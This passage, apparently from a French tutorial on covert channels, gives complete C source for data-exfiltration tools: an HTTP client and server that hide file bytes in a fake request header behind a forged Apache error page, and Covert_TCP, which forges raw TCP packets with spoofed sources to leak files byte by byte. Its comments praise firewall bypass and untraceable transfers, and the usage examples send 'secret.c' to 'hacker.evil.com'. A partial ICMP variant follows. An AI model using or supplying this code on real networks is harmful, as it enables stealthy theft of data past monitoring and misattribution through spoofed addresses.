    28	    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    29	    	perror("socket");
    30	    	exit(1);
    31	    }
    32	    their_addr.sin_family = AF_INET;      
    33	    their_addr.sin_port = htons(PORT);    
    34	    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    35	    bzero(&(their_addr.sin_zero), 8);     
    36	    
    37	    if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { 
    38	    	perror("connect");
    39	    	exit(1);
    40	    }
    41	          
    42	    if((input = fopen(argv[3], "rb")) == NULL) {
    43	    	printf("I cannot open file %s for reading", argv[3]);
    44	    	exit(1);
    45	    }	
    46	    
    47	    else while((ch = fgetc(input)) != EOF) {
    48	    
    49	    	sleep(1);
    50	      
    51	    	requete = CreateQuery(uri, target, ch);
    52	    	if (send(sockfd, requete, strlen(requete)+1, 0) == -1) {
    53	    		  perror("send");
    54	    		  break;
    55	    		  }
    56	    	  
    57	   	printf("Sending Data: %c\n",ch);
    58	   	
    59	   	while ((numbytes = read(sockfd, buf, MAXDATASIZE)) != 0) {
    60	   		buf[numbytes] = '\0';
    61		    	printf("Data successfully received.\n");
    62		    	break;
    63		    	}
    64	    }
    65	    fclose(input);
    66	    free(requete);
    67	    close(sockfd);
    68	    return 0;
    69	}
    70	char *CreateQuery(char *page, char *host, int ch) {
    71		 char *header = (char *)malloc(1024*sizeof(char));
    72		 
    73	    sprintf(header,
    74	    "GET %s HTTP/1.1\r\n"
    75	    "Host %s\r\n"
    76	    "User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.6) Gecko/20040115\r\n"
    77	    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n"
    78	    "Accept-Language: fr,en;q=0.5\r\n"
    79		 "Accept-Encoding: gzip,deflate\r\n"
    80		 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
    81		 "Keep-Alive: 300\r\n"
    82		 "Connection: keep-alive\r\n"
    83	    "X-Microsoft-Plugin: unexpected error %d\r\n"
    84	    "\r\n",page,host,ch    
    85	    );
    86	    return (header);
    87	}

server.h:
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <errno.h>
     4	#include <string.h>
     5	#include <sys/types.h>
     6	#include <netinet/in.h>
     7	#include <sys/socket.h>
     8	#include <sys/wait.h>
       
     9	#define MYPORT 31337    /* the port users will be connecting to */
    10	#define BACKLOG 10     /* how many pending connections queue will hold */
    11	#define MAXDATASIZE 2048
       
    12	int ParseResp(char *);
    13	char *CreateQuery(char *);

server.c:
     1	#include "server.h"
       
     2	int main(int argc, char *argv[])
     3	{
     4		int sockfd, new_fd, numbytes = 0;  
     5		struct sockaddr_in my_addr;
     6		struct sockaddr_in their_addr;
     7		int sin_size, rec, ch;
     8		char *buf = (char *)malloc(2048*sizeof(char));
     9		char *respons = (char *)malloc(1024*sizeof(char));
    10		char localdns[81];
    11		FILE *output;
    12		
    13		if (argc != 3) {
    14	        fprintf(stderr,"Usage: %s LocalDNS File\n", argv[0]);
    15	        fprintf(stderr,"Example: %s www.evil.us /tmp/xploit.c\n", argv[0]);
    16	        fprintf(stderr,"LocalDNS must not exceed 80 characters\n\n");
    17	        exit(1);
    18	    }
    19	    
    20	   strncpy(localdns, argv[1], 80);
    21	   
    22		if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    23		    perror("socket");
    24		    exit(1);
    25		}
    26		my_addr.sin_family = AF_INET;         /* host byte order */
    27		my_addr.sin_port = htons(MYPORT);     /* short, network byte order */
    28		my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
    29		bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */
    30		
    31		if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1){
    32		    perror("bind");
    33		    exit(1);
    34		}
    35		
    36		if (listen(sockfd, BACKLOG) == -1) {
    37		    perror("listen");
    38		    exit(1);
    39		}
    40		if((output=fopen(argv[2],"wb"))== NULL) {
    41		  printf("I cannot open the file %s for writing\n",argv[2]);
    42		  exit(1);
    43		}
    44		while(1) {  /* main accept() loop */
    45		    sin_size = sizeof(struct sockaddr_in);
    46		    if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size))==-1){ 
    47		        perror("accept");
    48		        exit(1);
    49		    }
    50		    printf("server: got connection from %s\n", inet_ntoa(their_addr.sin_addr)); 
    51		    while ((read(new_fd, buf, MAXDATASIZE)) != 0) {
    52		    	sprintf(buf, "%s"+'\0', buf);
    53		    	ch = ParseResp(buf);
    54		    	fprintf(output,"%c",ch);
    55		      fflush(output);
    56		    	memset(buf, 0, strlen(buf));
    57		    	respons = CreateQuery(localdns);
    58		      if (send(new_fd, respons, strlen(respons), 0) == -1)
    59		            perror("send");
    60		    	}
    61		    	 
    62		    close(new_fd);
    63		    free(respons);
    64		    free(buf);
    65		    }
    66		  fclose(output);
    67		  return 0;	    
    68		}
    69	char *CreateQuery(char *host) {
    70		 char *header = (char *)malloc(1024*sizeof(char)), *data = (char *)malloc(1024*sizeof(char));
    71		 char *tmp = (char *)malloc(1024*sizeof(char));
    72		 
    73		 sprintf(data,
    74		 "17c\r\n"
    75		 "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
    76		 "<HTML><HEAD>\r\n"
    77		 "<TITLE>400 Bad Request</TITLE>\r\n"
    78		 "</HEAD><BODY>\r\n"
    79		 "<H1>Bad Request</H1>\r\n"
    80		 "Your browser sent a request that this server could not understand.<P>\r\n"
    81		 "Request header field is missing colon separator.<P>\r\n"
    82		 "<PRE>\r\n"
    83		 "Host %s</PRE>\r\n"
    84		 "<P>\r\n"
    85		 "<HR>\r\n"
    86		 "<ADDRESS>Apache/1.3.27 Server at %s Port 80</ADDRESS>\r\n"
    87		 "</BODY></HTML>\r\n"
    88		 "\r\n"
    89		 "0\r\n", host, host);
    90		 
    91	    sprintf(header,
    92	    "HTTP/1.1 400 Bad Request\r\n"
    93		 "Date: Mon, 26 Jul 2004 11:07:48 GMT\r\n"
    94		 "Server: Apache/1.3.27 (Unix) mod_tsunami/1.1 AuthMySQL/2.20\r\n"
    95		 "Connection: close\r\n"
    96		 "Transfer-Encoding: chunked\r\n"
    97		 "Content-Type: text/html; charset=iso-8859-1\r\n"
    98	    "\r\n");
    99	    sprintf(tmp,"%s%s",header,data);
   100	    free(header);
   101	    free(data);
   102	    return (tmp);
   103	}
   104	int ParseResp(char *query) {
   105		 char *result = (char *)malloc(24 * sizeof(char));
   106		 unsigned short ch;
   107		 
   108		 memcpy(result, query+strlen(query)-7, 8);
   109		 ch = atoi(result);
   110		 printf("Received: %c\n", ch);
   111		 free(result);
   112		 return ch;
   113	}
       

Exemple: Protocole TCP

client.h:
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <signal.h>
     4	#include <string.h>
     5	#include <unistd.h>
     6	#include <netdb.h>
     7	#include <netinet/in.h>
     8	#include <sys/socket.h>
     9	#include <arpa/inet.h>
    10	#include <linux/ip.h>
    11	#include <linux/tcp.h>
       
    12	void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
    13						  int);
    14						  
    15	unsigned int host_convert(char *);
    16	unsigned short in_cksum(unsigned short *, int);
    17	void usage(char *);

client.c:
     1	/* Covert_TCP 1.0 - Covert channel file transfer for Linux
     2	* Written by Craig H. Rowland (crowland@psionic.com)
     3	* Copyright 1996 Craig H. Rowland (11-15-96)
     4	* NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
     5	* 
     6	*
     7	* This program manipulates the TCP/IP header to transfer a file one byte
     8	* at a time to a destination host. This progam can act as a server and a client
     9	* and can be used to conceal transmission of data inside the IP header. 
    10	* This is useful for bypassing firewalls from the inside, and for 
    11	* exporting data with innocuous looking packets that contain no data for 
    12	* sniffers to analyze. In other words, spy stuff... :)
    13	*
    14	* PLEASE see the enclosed paper for more information!!
    15	*
    16	* This software should be used at your own risk. 
    17	*
    18	* compile: cc -o covert_tcp covert_tcp.c
    19	*
    20	* 
    21	* Portions of this code based on ping.c (c) 1987 Regents of the 
    22	* University of California. (See function in_cksm() for details)
    23	*
    24	* Small portions from various packet utilities by unknown authors
    25	*/
       
    26	#include "client.h"
       
    27	int main(int argc, char *argv[]) {
       
    28	   unsigned int source_host=0,dest_host=0;
    29	   unsigned short source_port=0,dest_port=80;
    30	   int seq=0,file=0;
    31	   int count;
    32	   char desthost[80],srchost[80],filename[80];
       
    33	   if(geteuid() !=0)
    34	    {
    35	    printf("\nYou need to be root to run this because it use sock_raw.\n\n");
    36	    exit(0);
    37	    }
    38	    
    39	   if(argc != 11)
    40	   {
    41	   usage(argv[0]);
    42	   exit(0);
    43	   }    
    44	   for(count=0; count < argc; ++count)
    45	    {
    46	    if (strcmp(argv[count],"-dest") == 0)
    47	     {
    48	     dest_host=host_convert(argv[count+1]); 
    49	     strncpy(desthost,argv[count+1],79);
    50	     }
    51	     
    52	    else if (strcmp(argv[count],"-source") == 0)
    53	     {
    54	     source_host=host_convert(argv[count+1]); 
    55	     strncpy(srchost,argv[count+1],79);
    56	     }
       
    57	    else if (strcmp(argv[count],"-file") == 0)
    58	     {
    59	     strncpy(filename,argv[count+1],79);
    60	     file=1;
    61	     }
       
    62	    else if (strcmp(argv[count],"-source_port") == 0)
    63	      source_port=atoi(argv[count+1]);
       
    64	    else if (strcmp(argv[count],"-dest_port") == 0)
    65	      dest_port=atoi(argv[count+1]);
    66	    }

    67	    seq=1; 
       
    68	   if(file != 1)
    69	    {
    70	    printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
    71	    exit(1);
    72	    }
       
    73	     if (source_host == 0 && dest_host == 0)
    74	      {
    75	      printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
    76	      exit(1);
    77	      }
       
    78	     else
    79	      {
    80	      printf("Destination Host: %s\n",desthost);
    81	      printf("Source Host     : %s\n",srchost);
       
    82	       if(source_port == 0)
    83	        printf("Originating Port: random\n");
       
    84	       else
    85	        printf("Originating Port: %u\n",source_port);
       
    86	      printf("Destination Port: %u\n",dest_port);
    87	      printf("Encoded Filename: %s\n",filename);
       
    88	      printf("Encoding Type   : IP Sequence Number\n");
       
    89	      printf("\nClient Mode: Sending data.\n\n");
    90	     }
    91	     
    92	     forgepacket(source_host, dest_host, source_port, dest_port,filename,seq);
    93	     exit(0);
    94	}
       
    95	void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
    96	short source_port, unsigned short dest_port, char *filename, int seq) {
    97	   struct send_tcp
    98	   {
    99	      struct iphdr ip;
   100	      struct tcphdr tcp;
   101	   } send_tcp;
       
   102	   struct pseudo_header
   103	   {
   104	      unsigned int source_address;
   105	      unsigned int dest_address;
   106	      unsigned char placeholder;
   107	      unsigned char protocol;
   108	      unsigned short tcp_length;
   109	      struct tcphdr tcp;
   110	   } pseudo_header;
       
   111	   int ch;
   112	   int send_socket;
   113	   struct sockaddr_in sin;
   114	   FILE *input;
   115	   
   116		srand((getpid())*(dest_port)); 
   117		
   118		if((input=fopen(filename,"rb"))== NULL)
   119	 {
   120	 printf("I cannot open the file %s for reading\n",filename);
   121	 exit(1);
   122	 }
       
   123	else while((ch=fgetc(input)) !=EOF)
   124	 {
       
   125		sleep(1);
       
   126	   send_tcp.ip.ihl = 5;
   127	   send_tcp.ip.version = 4;
   128	   send_tcp.ip.tos = 0;
   129	   send_tcp.ip.tot_len = htons(40);
   130	   send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0)); 
   131	   send_tcp.ip.frag_off = 0;
   132	   send_tcp.ip.ttl = 64; 
   133	   send_tcp.ip.protocol = IPPROTO_TCP;
   134	   send_tcp.ip.check = 0;
   135	   send_tcp.ip.saddr = source_addr;
   136	   send_tcp.ip.daddr = dest_addr;
       
   137	if(source_port == 0) 
   138	   send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
       
   139	else 
   140	   send_tcp.tcp.source = htons(source_port);
       
   141	   send_tcp.tcp.seq = ch;
       
   142	   send_tcp.tcp.dest = htons(dest_port);
       
   143	   send_tcp.tcp.ack_seq = 0;
   144	   send_tcp.tcp.res1 = 0;
   145	   send_tcp.tcp.doff = 5;
   146	   send_tcp.tcp.fin = 0;
   147	   send_tcp.tcp.syn = 1;
   148	   send_tcp.tcp.rst = 0;
   149	   send_tcp.tcp.psh = 0;
   150	   send_tcp.tcp.ack = 0;
   151	   send_tcp.tcp.urg = 0;
   152	   send_tcp.tcp.ece = 0;
   153	   send_tcp.tcp.window = htons(512);
   154	   send_tcp.tcp.check = 0;
   155	   send_tcp.tcp.urg_ptr = 0;
       
   156	   sin.sin_family = AF_INET;
   157	   sin.sin_port = send_tcp.tcp.source;
   158	   sin.sin_addr.s_addr = send_tcp.ip.daddr;   
       
   159	   send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   160	   if(send_socket < 0)
   161	   {
   162	      perror("send socket cannot be open. Are you root?");
   163	      exit(1);
   164	   }
       
   165	      send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
   166	      
   167	      pseudo_header.source_address = send_tcp.ip.saddr;
   168	      pseudo_header.dest_address = send_tcp.ip.daddr;
   169	      pseudo_header.placeholder = 0;
   170	      pseudo_header.protocol = IPPROTO_TCP;
   171	      pseudo_header.tcp_length = htons(20);
       
   172	      bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
       
   173	      send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
       
   174	      sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
   175	      printf("Sending Data: %c\n",ch);
       
   176	  close(send_socket);
   177	 } 
       
   178	fclose(input);
   179	} 
       
       
   180	unsigned int host_convert(char *hostname){
   181	   static struct in_addr i;
   182	   struct hostent *h;
   183	   i.s_addr = inet_addr(hostname);
   184	   if(i.s_addr == -1)
   185	   {
   186	      h = gethostbyname(hostname);
   187	      if(h == NULL)
   188	      {
   189	         fprintf(stderr, "cannot resolve %s\n", hostname);
   190	         exit(0);
   191	      }
   192	      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
   193	   }
   194	   return i.s_addr;
   195	}
       
   196	unsigned short in_cksum(unsigned short *ptr, int nbytes){
   197	        register long           sum;            /* assumes long == 32 bits 
   198	*/
   199	        u_short                 oddbyte;
   200	        register u_short        answer;         /* assumes u_short == 16 bits */
       
   201	        /*
   202	         * Our algorithm is simple, using a 32-bit accumulator (sum),
   203	         * we add sequential 16-bit words to it, and at the end, fold back
   204	         * all the carry bits from the top 16 bits into the lower 16 bits.
   205	         */
       
   206	        sum = 0;
   207	        while (nbytes > 1)  {
   208	                sum += *ptr++;
   209	                nbytes -= 2;
   210	        }
       
   211	                                /* mop up an odd byte, if necessary */
   212	        if (nbytes == 1) {
   213	                oddbyte = 0;            /* make sure top half is zero */
   214	                *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
   215	                sum += oddbyte;
   216	        }
       
   217	        /*
   218	         * Add back carry outs from top 16 bits to low 16 bits.
   219	         */
       
   220	        sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
   221	        sum += (sum >> 16);                     /* add carry */
   222	        answer = ~sum;          /* ones-complement, then truncate to 16 bits 
   223	*/
   224	        return(answer);
   225	}
       
       
   226	void usage(char *progname){
       
   227	      printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
   228	filename -source_port port -dest_port port\n\n", 
   229	progname);
   230	      printf("-dest dest_ip      - Host to send data to.\n");
   231	      printf("-source source_ip  - Host where you want the data to originate \
   232	from.\n");
   233	      printf("-source_port port  - IP source port you want data to appear from. \n");
   234	      printf("                     (randomly set by default)\n");
   235	      printf("-dest_port port    - IP source port you want data to go to. In\n");
   236	      printf("                     SERVER mode this is the port data will be coming\n");
   237	      printf("                     inbound on. Port 80 by default.\n");
   238	      printf("-file filename     - Name of the file to encode and transfer.\n");
   239	      printf("\nPress ENTER for examples.");
   240	      getchar();
   241	      printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
   242	source_port 1234 -dest_port 80 -file secret.c\n\n");
   243	      printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
   244	      printf("at a time using the default IP packet ID encoding.\n");
   245	      exit(0);
   246	}

server.h:
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <signal.h>
     4	#include <string.h>
     5	#include <unistd.h>
     6	#include <netdb.h>
     7	#include <netinet/in.h>
     8	#include <sys/socket.h>
     9	#include <arpa/inet.h>
    10	#include <linux/ip.h>
    11	#include <linux/tcp.h>
       
    12	void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
    13						  int, int);
    14						  
    15	unsigned int host_convert(char *);
    16	unsigned short in_cksum(unsigned short *, int);
    17	void usage(char *);

server.c:
     1	/* Covert_TCP 1.0 - Covert channel file transfer for Linux
     2	* Written by Craig H. Rowland (crowland@psionic.com)
     3	* Copyright 1996 Craig H. Rowland (11-15-96)
     4	* NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
     5	* 
     6	*
     7	* This program manipulates the TCP/IP header to transfer a file one byte
     8	* at a time to a destination host. This progam can act as a server and a client
     9	* and can be used to conceal transmission of data inside the IP header. 
    10	* This is useful for bypassing firewalls from the inside, and for 
    11	* exporting data with innocuous looking packets that contain no data for 
    12	* sniffers to analyze. In other words, spy stuff... :)
    13	*
    14	* PLEASE see the enclosed paper for more information!!
    15	*
    16	* This software should be used at your own risk. 
    17	*
    18	* compile: cc -o covert_tcp covert_tcp.c
    19	*
    20	* 
    21	* Portions of this code based on ping.c (c) 1987 Regents of the 
    22	* University of California. (See function in_cksm() for details)
    23	*
    24	* Small portions from various packet utilities by unknown authors
    25	*/
       
    26	#include "server.h"
       
    27	int main(int argc, char *argv[]){
       
    28	   unsigned int source_host=0,dest_host=0;
    29	   unsigned short source_port=0,dest_port=80;
    30	   int seq=0,ack=0,file=0;
    31	   int count;
    32	   char desthost[80],srchost[80],filename[80];
       
    33	   if(geteuid() !=0)
    34	    {
    35	    printf("\nYou need to be root to run this.\n\n");
    36	    exit(0);
    37	    }
       
    38	   if((argc < 6) || (argc > 13))
    39	   {
    40	   usage(argv[0]);
    41	   exit(0);
    42	   }
       
       
    43	   for(count=0; count < argc; ++count)
    44	    {
    45	    if (strcmp(argv[count],"-dest") == 0)
    46	     {
    47	     dest_host=host_convert(argv[count+1]); 
    48	     strncpy(desthost,argv[count+1],79);
    49	     }
    50	     
    51	    else if (strcmp(argv[count],"-source") == 0)
    52	     {
    53	     source_host=host_convert(argv[count+1]); 
    54	     strncpy(srchost,argv[count+1],79);
    55	     }
       
    56	    else if (strcmp(argv[count],"-file") == 0)
    57	     {
    58	     strncpy(filename,argv[count+1],79);
    59	     file=1;
    60	     }
       
    61	    else if (strcmp(argv[count],"-source_port") == 0)
    62	      source_port=atoi(argv[count+1]);
       
    63	    else if (strcmp(argv[count],"-dest_port") == 0)
    64	      dest_port=atoi(argv[count+1]);
       
    65	    else if (strcmp(argv[count],"-seq") == 0)
    66	      seq=1;
       
    67	    else if (strcmp(argv[count],"-ack") == 0)
    68	      ack=1;
       
    69	    }
    70	    
    71	   if(seq+ack == 0)
    72	    seq=1; 
    73	    
    74	   else if (seq+ack !=1)
    75	    {
    76	    printf("\n\nOnly one encoding/decode flag (-seq -ack) can be used at a time.\n\n");
    77	    exit(1);
    78	    }
       
    79	   if(file != 1)
    80	    {
    81	    printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
    82	    exit(1);
    83	    }
    84	    
    85	    if (source_host == 0 && source_port == 0)
    86	      {
    87	      printf("You need to supply a source address and/or source port for server mode.\n");
    88	      exit(1);
    89	      }
       
    90	     if(dest_host == 0)
    91	      strcpy(desthost,"Any Host");
       
    92	     if(source_host == 0)
    93	      strcpy(srchost,"Any Host");
       
    94	     printf("Listening for data from IP: %s\n",srchost);
    95	     
    96	     if(source_port == 0)
    97	      printf("Listening for data bound for local port: Any Port\n");
       
    98	     else
    99	      printf("Listening for data bound for local port: %u\n",source_port);
       
   100	     printf("Decoded Filename: %s\n",filename);
       
   101	     if(seq == 1)
   102	      printf("Decoding Type Is: IP Sequence Number\n");
       
   103	     else if(ack == 1)
   104	      printf("Decoding Type Is: IP ACK field bounced packet.\n");
       
   105	     printf("\nServer Mode: Listening for data.\n\n");
       
   106	     forgepacket(source_host, dest_host, source_port, dest_port,filename,seq,ack);
   107		  exit(0);
   108	}
       
   109	void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
   110	short source_port, unsigned short dest_port, char *filename, int seq, int ack) {
       
   111	   struct recv_tcp
   112	   {
   113	      struct iphdr ip;
   114	      struct tcphdr tcp;
   115	      char buffer[10000];
   116	   } recv_pkt;
       
   117	   int recv_socket;
   118	   FILE *output;
   119	   
   120	   srand((getpid())*(dest_port)); 
   121	   
   122	    if((output=fopen(filename,"wb"))== NULL)
   123	  {
   124	  printf("I cannot open the file %s for writing\n",filename);
   125	  exit(1);
   126	  }
       
   127	 while(1) 
   128	 {
       
   129	   recv_socket = socket(AF_INET, SOCK_RAW, 6);
   130	   
   131	   if(recv_socket < 0)
   132	   {
   133	      perror("receive socket cannot be open. Are you root?");
   134	      exit(1);
   135	   }
       
   136	  read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
   137	        if (source_port == 0) 
   138	        {       
   139	                if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr)) 
   140	                {
   141									if (seq==1)
   142	                        {
   143	                        	printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
   144	                        	fprintf(output,"%c",recv_pkt.tcp.seq); 
   145	                        	fflush(output);
   146	                        }
       
   147	        /* Use a bounced packet from a remote server to decode the data */
   148	        /* This technique requires that the client initiates a SEND to */
   149	        /* a remote host with a SPOOFED source IP that is the location */
   150	        /* of the listening server. The remote server will receive the packet */
   151	        /* and will initiate an ACK of the packet with the encoded sequence */
   152	        /* number+1 back to the SPOOFED source. The covert server is waiting at this */
   153	        /* spoofed address and can decode the ack field to retrieve the data */
   154	        /* this enables an "anonymous" packet transfer that can bounce */
   155	        /* off any site. This is VERY hard to trace back to the originating */
   156	        /* source. This is pretty nasty as far as covert channels go... */
   157	        /* Some routers may not allow you to spoof an address outbound */
   158	        /* that is not on their network, so it may not work at all sites... */
   159	        /* SENDER should use covert_tcp with the -seq flag and a forged -source */
   160	        /* address. RECEIVER should use the -server -ack flags with the IP of */
   161	        /* of the server the bounced message will appear from.. CHR */
       
   162	        /* The bounced ACK sequence number is really the original sequence*/
   163	        /* plus one (ISN+1). However, the translation here drops some of the */
   164	        /* bits so we get the original ASCII value...go figure.. */
       
   165	                        else if (ack==1)
   166	                        {
   167	                         printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
   168	                         fprintf(output,"%c",recv_pkt.tcp.ack_seq); 
   169	                         fflush(output);
   170	                        }
   171	                } 
   172	        } 
       
   173	        else
   174	        {
   175	                if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port)) 
   176	                {
   177									if (seq==1)
   178	                        {
   179	                        printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
   180	                        fprintf(output,"%c",recv_pkt.tcp.seq); 
   181	                        fflush(output);
   182	                        }
   183	                      
   184	                        else if (ack==1)
   185	                        {
   186	                        printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
   187	                        fprintf(output,"%c",recv_pkt.tcp.ack_seq); 
   188	                        fflush(output);
   189	                        }
   190	                } 
   191	        } 
       
   192	   close(recv_socket); 
   193	  }
       
   194	  fclose(output);
   195	}
       
   196	unsigned short in_cksum(unsigned short *ptr, int nbytes)
   197	{
   198	        register long           sum;            /* assumes long == 32 bits 
   199	*/
   200	        u_short                 oddbyte;
   201	        register u_short        answer;         /* assumes u_short == 16 bits */
       
   202	        /*
   203	         * Our algorithm is simple, using a 32-bit accumulator (sum),
   204	         * we add sequential 16-bit words to it, and at the end, fold back
   205	         * all the carry bits from the top 16 bits into the lower 16 bits.
   206	         */
       
   207	        sum = 0;
   208	        while (nbytes > 1)  {
   209	                sum += *ptr++;
   210	                nbytes -= 2;
   211	        }
       
   212	                                /* mop up an odd byte, if necessary */
   213	        if (nbytes == 1) {
   214	                oddbyte = 0;            /* make sure top half is zero */
   215	                *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
   216	                sum += oddbyte;
   217	        }
       
   218	        /*
   219	         * Add back carry outs from top 16 bits to low 16 bits.
   220	         */
       
   221	        sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
   222	        sum += (sum >> 16);                     /* add carry */
   223	        answer = ~sum;          /* ones-complement, then truncate to 16 bits 
   224	*/
   225	        return(answer);
   226	}
       
       
   227	unsigned int host_convert(char *hostname)
   228	{
   229	   static struct in_addr i;
   230	   struct hostent *h;
   231	   i.s_addr = inet_addr(hostname);
   232	   if(i.s_addr == -1)
   233	   {
   234	      h = gethostbyname(hostname);
   235	      if(h == NULL)
   236	      {
   237	         fprintf(stderr, "cannot resolve %s\n", hostname);
   238	         exit(0);
   239	      }
   240	      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
   241	   }
   242	   return i.s_addr;
   243	} 
       
       
   244	void usage(char *progname)
   245	{
   246	      printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
   247	filename -source_port port -dest_port port [encode type]\n\n", 
   248	progname);
   249	      printf("-dest dest_ip      - Host to send data to.\n");
   250	      printf("-source source_ip  - Host data will be coming FROM.\n");
   251	      printf("-source_port port  - IP source port you want data to appear from. \n");
   252	      printf("                     (randomly set by default)\n");
   253	      printf("-dest_port port    - IP source port you want data to go to. In\n");
   254	      printf("                     SERVER mode this is the port data will be coming\n");
   255	      printf("                     inbound on. Port 80 by default.\n");
   256	      printf("-file filename     - Name of the file to encode and transfer.\n");
   257	      printf("[Encode Type] - Optional encoding type\n");
   258	      printf("-seq  - Encode data a byte at a time in the packet sequence \
   259	number.\n");
   260	      printf("-ack  - DECODE data a byte at a time from the ACK field.\n");
   261	      printf("        This ONLY works from server mode and is made to decode\n");
   262	      printf("        covert channel packets that have been bounced off a remote\n");
   263	      printf("        server using -seq. See documentation for details\n");
   264	      printf("\nPress ENTER for examples.");
   265	      getchar();
   266	      printf("\nExample: \nserver -dest foo.bar.com -source hacker.evil.com - \
   267	dest_port 80 -file secret.c\n\n");
   268	      printf("Above listens passively for packets from  hacker.evil.com\n");
   269	      printf("destined for port 80. It takes the data and saves the file locally\n");
   270	      printf("as secret.c\n\n");
   271	      exit(0);
   272	} 

Exemple: Protocole UDP

Exemple: Protocole ICMP

client.h:
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <signal.h>
     4	#include <string.h>
     5	#include <unistd.h>
     6	#include <netdb.h>
     7	#include <netinet/in.h>
     8	#include <sys/socket.h>
     9	#include <arpa/inet.h>
    10	#include <linux/ip.h>
    11	#include <linux/icmp.h>
       
    12	void forgepacket(unsigned int, unsigned int, char *);
    13	unsigned int host_convert(char *);
    14	unsigned short in_cksum(unsigned short *, int);
    15	void usage(char *);

client.c:
     1	#include "client.h"
   
     2	int main(int argc, char *argv[]) {    
     3	   unsigned int source_host=0,dest_host=0;
     4	   int file=0;
     5	   int count;
     6	   char desthost[80],srchost[80],filename[80];
     7	   if(geteuid() !=0)
     8	    {
     9	    printf("\nYou need to be root to run this.\n\n");
    10	    exit(0);
    11	    }
    12	    
    13	   if((argc < 5) || (argc > 13))
    14	   {
    15	   usage(argv[0]);
    16	   exit(0);
    17	   }    
    18	   for(count=0; count < argc; ++count)
    19	    {
    20	    if (strcmp(argv[count],"-dest") == 0)
    21	     {
    22	     dest_host=host_convert(argv[count+1]); 
    23	     strncpy(desthost,argv[count+1],79);
    24	     }
    25	     
    26	    else if (strcmp(argv[count],"-source") == 0)
    27	     {
    28	     source_host=host_convert(argv[count+1]); 
    29	     strncpy(srchost,argv[count+1],79);
    30	     }  
    31	    else if (strcmp(argv[count],"-file") == 0)
    32	     {
    33	     strncpy(filename,argv[count+1],79);
    34	     file=1;
    35	     }
    36	    }
    37	   if(file != 1)
    38	    {
    39	    printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
    40	    exit(1);
    41	    }
    42	     if (source_host == 0 && dest_host == 0)
    43	      {
    44	      printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
    45	      exit(1);
    46	      }
    47	     else
    48	      {
    49	      printf("Destination Host: %s\n",desthost);
    50	      printf("Source Host     : %s\n",srchost);
    51	      printf("Encoded Filename: %s\n",filename);
    52	       printf("Encoding Type   : ICMP Seq\n");
    53	       printf("\nClient Mode: Sending data.\n\n");
    54	      
    55	     }
    56	     
    57	     forgepacket(source_host, dest_host, filename);
    58	     exit(0);
    59	}
       
    60	void forgepacket(unsigned int source_addr, unsigned int dest_addr,  char *filename) {
    61	   struct send_icmp
    62	   {
    63	      struct iphdr ip;
    64	      struct icmphdr icmp;
    65	   } send_icmp;
    66	   int ch, szpkt;
    67	   int send_socket;
    68	   struct sockaddr_in sin;
    69	   FILE *input;
    70	   
    71		srand((getpid())*(sizeof(int))); 
    72	   szpkt=sizeof(struct iphdr) + sizeof(struct icmphdr);
    73	   
    74		if((input=fopen(filename,"rb"))== NULL) {
    75		  printf("I cannot open the file %s for reading\n",filename);
    76		  exit(1);
    77		}
    78	 
    79		else while((ch=fgetc(input)) !=EOF)
    80		 {
       
    81		sleep(1);
       
    82	   send_icmp.ip.ihl = 5;
    83	   send_icmp.ip.version = 4;
